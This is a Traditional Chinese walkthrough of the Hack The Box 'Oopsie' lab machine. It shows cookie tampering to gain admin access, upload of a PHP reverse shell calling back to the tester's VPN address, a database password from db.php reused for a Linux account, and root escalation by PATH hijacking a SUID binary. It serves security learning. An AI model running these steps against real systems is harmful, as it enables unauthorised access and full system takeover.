本文僅記錄 Hack The Box 授權靶場中的學習過程，請勿將文中的操作用於未經授權的系統。

今天挑戰 Hack The Box Starting Point 的 Oopsie。這台靶機的重點，是從 Web 流量分析開始，透過修改 Cookie 取得管理員頁面權限，再上傳 Reverse Shell，最後利用 SUID 程式的 PATH Hijacking 問題完成提權。

整體流程如下：

攔截 Web 流量
→ 找到登入頁面
→ 以 Guest 登入並修改 Cookie
→ 進入 Upload 頁面
→ 上傳並觸發 PHP Reverse Shell
→ 取得 www-data Shell
→ 從 db.php 找到 robert 的密碼
→ 切換成 robert
→ 發現 SUID 程式 bugtracker
→ 利用 PATH Hijacking 提權至 root

開始前，先把文中的變數換成自己當次啟動靶機後取得的位址：

• <TARGET_IP>：Oopsie 靶機 IP
• <VPN_IP>：Kali 的 HTB VPN IP，可用 ip addr show tun0 查詢

靶機重開後 IP 可能改變，因此不要直接照抄截圖裡的舊 IP。

Task 1：用什麼工具攔截 Web 流量？

With what kind of tool can intercept web traffic?

答案是：

proxy

Proxy 是什麼？

Proxy（代理伺服器）可以把它想成使用者與目標網站之間的中繼站：

使用者 → Proxy → 目標網站

在 Web 滲透測試中，我們會把瀏覽器流量導向 Burp Suite 或 OWASP ZAP 提供的 Proxy。如此一來，登入請求、Cookie、Header 與表單資料都可以在送往伺服器前被攔截與檢查。

上圖是 Burp Suite Community Edition 的 Proxy → HTTP history。每一列代表一筆 Request，常見欄位包括：

• Host：目標主機
• Method：HTTP 方法，例如 GET、POST
• URL：請求路徑
• Status code：伺服器回應狀態碼
• Length：回應內容大小
• MIME type：回應內容類型
• Title：HTML 頁面標題

Task 2：登入頁面的路徑是什麼？

What is the path to the directory on the webserver that returns a login page?

答案是：

/cdn-cgi/login

可以先查看首頁的 HTTP 回應：

curl -i http://<TARGET_IP>/

也可以在瀏覽器中開啟靶機首頁，再從頁面連結或 Burp 的 HTTP history 觀察請求路徑。

找到路徑後，開啟：

http://<TARGET_IP>/cdn-cgi/login/

Task 3：要修改 Firefox 中的什麼資料才能進入 Upload 頁面？

What can be modified in Firefox to get access to the upload page?

答案是：

cookie

網站會依照 Cookie 中的使用者 ID 與角色判斷權限。如果伺服器只信任客戶端送來的值，卻沒有在後端重新驗證，就可能產生權限繞過問題。

Task 4：管理員的 Access ID 是多少？

What is the access ID of the admin user?

答案是：

34322

先按下 Login as Guest，讓網站建立 Guest 的 Cookie。

接著在 Burp Repeater 或瀏覽器開發者工具中，把 Cookie 改成：

Cookie: user=34322; role=admin

然後存取：

http://<TARGET_IP>/cdn-cgi/login/admin.php?content=uploads

如果回應中出現檔案上傳表單，就代表已成功進入管理員的 Upload 頁面。

Task 5：上傳的檔案會出現在哪個目錄？

On uploading a file, what directory does that file appear in on the server?

答案是：

/uploads

也就是說，上傳 shell.php 後，可嘗試從下列 URL 存取：

http://<TARGET_IP>/uploads/shell.php

準備 PHP Reverse Shell

Kali 內建 PHP Reverse Shell 範例，可以先複製一份：

cp /usr/share/webshells/php/php-reverse-shell.php shell.php
nano shell.php

查詢自己的 HTB VPN IP：

ip addr show tun0

在 shell.php 中將 IP 與連接埠改成自己的設定：

$ip = '<VPN_IP>';
$port = 4444;

另開一個終端機啟動 Listener：

nc -lvnp 4444

保持 Listener 開啟，回到 Upload 頁面上傳 shell.php，再用瀏覽器開啟：

http://<TARGET_IP>/uploads/shell.php

成功後，Listener 會收到連線。先確認目前身分：

whoami
id

此時通常會看到 www-data，代表目前拿到的是 Web Server 使用者的 Shell。

Task 6：哪個檔案包含與 robert 共用的密碼？

What is the file that contains the password that is shared with the robert user?

答案是：

db.php

為什麼拿到 www-data 後要先找網站設定檔？推理過程如下：

取得 www-data 身分
→ Web Server 通常能讀取網站原始碼
→ Apache 網站預設目錄常位於 /var/www/html
→ 登入頁 URL 是 /cdn-cgi/login/
→ 對應的檔案路徑可能是 /var/www/html/cdn-cgi/login/
→ 尋找 db.php、config.php 等設定檔
→ 設定檔可能包含資料庫帳號與密碼

可以先列出 /var/www 底下的 PHP 檔案：

find /var/www -name "*.php" 2>/dev/null

其中 2>/dev/null 會把沒有權限讀取等錯誤訊息導向 /dev/null，讓畫面保持乾淨。

接著讀取 db.php：

cat /var/www/html/cdn-cgi/login/db.php

內容會出現資料庫連線資訊：

<?php
$conn = mysqli_connect('localhost', 'robert', 'M3g4C0rpUs3r!', 'garage');
?>

這裡發生了密碼重複使用：資料庫密碼同時也是 Linux 使用者 robert 的密碼。

因為目前的 Reverse Shell 功能有限，先升級成較好操作的互動式 Shell：

python3 -c 'import pty; pty.spawn("/bin/bash")'

再切換成 robert：

su robert

輸入剛剛在 db.php 中找到的密碼，並確認身分：

whoami
id

Task 7：哪個指令可搭配 -group bugtracker 搜尋檔案？

What executable is run with the option "-group bugtracker" to identify all files owned by the bugtracker group?

答案是：

find

從 id 的輸出可以看到 robert 屬於 bugtracker 群組。搜尋屬於這個群組的檔案：

find / -group bugtracker 2>/dev/null

結果會找到：

/usr/bin/bugtracker

Task 8：bugtracker 會使用誰的權限執行？

Regardless of which user starts running the bugtracker executable, what user's privileges will it use to run?

答案是：

root

查看檔案權限：

ls -la /usr/bin/bugtracker

輸出類似：

-rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker

檔案擁有者是 root，而 owner 的執行權限位置出現 s，表示這個程式設定了 SUID。執行它時，程序會暫時使用檔案擁有者，也就是 root 的有效權限。

Task 9：SUID 是什麼？

What does SUID stand for?

題目接受的答案是：

Set owner User ID

也常簡稱為 Set User ID。SUID 本身不是漏洞；真正的風險取決於該程式以高權限執行時做了什麼，以及它是否安全處理外部輸入與環境變數。

Task 10：哪個執行檔被不安全地呼叫？

What is the name of the executable being called in an insecure manner?

答案是：

cat

檢查二進位檔中的可讀字串：

strings /usr/bin/bugtracker | grep -E "cat|sh|bash|system|reports"

可以看到程式使用了類似下列命令：

cat /root/reports/

問題在於它只寫 cat，而不是完整路徑 /bin/cat。當程式透過 system() 執行命令時，系統會依照 PATH 的順序尋找 cat。如果攻擊者能控制 PATH，就可能讓這個 SUID 程式以 root 權限執行攻擊者準備的同名檔案，這種手法稱為 PATH Hijacking。

Task 11：讀取 robert 的 Flag

Submit the flag located in the robert user's home directory.

切換成 robert 後，可讀取其家目錄中的 Flag：

/bin/cat /home/robert/user.txt

Flag 屬於靶場解題結果，本文不直接抄出文字內容。

Task 12：利用 PATH Hijacking 提權並讀取 root Flag

Submit the flag located in root's home directory.

在 /tmp 建立一個名為 cat 的腳本：

cd /tmp
echo '#!/bin/bash' > cat
echo '/bin/bash -p' >> cat
chmod +x cat

把 /tmp 放到 PATH 最前面：

export PATH=/tmp:$PATH

執行 SUID 程式：

/usr/bin/bugtracker

程式詢問 Bug ID 時輸入任意有效值，例如：

1

bugtracker 呼叫 cat 時，會先找到 /tmp/cat，因此以 root 權限執行 /bin/bash -p。確認目前身分：

whoami

若輸出為 root，即可讀取 root Flag：

/bin/cat /root/root.txt

這裡刻意使用 /bin/cat，避免再次執行到 /tmp/cat。

本日重點整理

Oopsie 串起了幾個很實用的基礎觀念：

1. 使用 Proxy 觀察與修改 HTTP Request。
2. 不能只相信客戶端 Cookie 中的身分與角色資料。
3. 不受限制的檔案上傳可能導致 Remote Code Execution。
4. Web 設定檔中的憑證可能因密碼重複使用而擴大影響。
5. SUID 程式必須使用完整的執行檔路徑，並避免信任可被使用者控制的 PATH。

從 Guest 到 Admin、從 www-data 到 robert，最後再提權至 root，這台靶機示範了一條完整而清楚的 Linux Web 滲透測試攻擊鏈。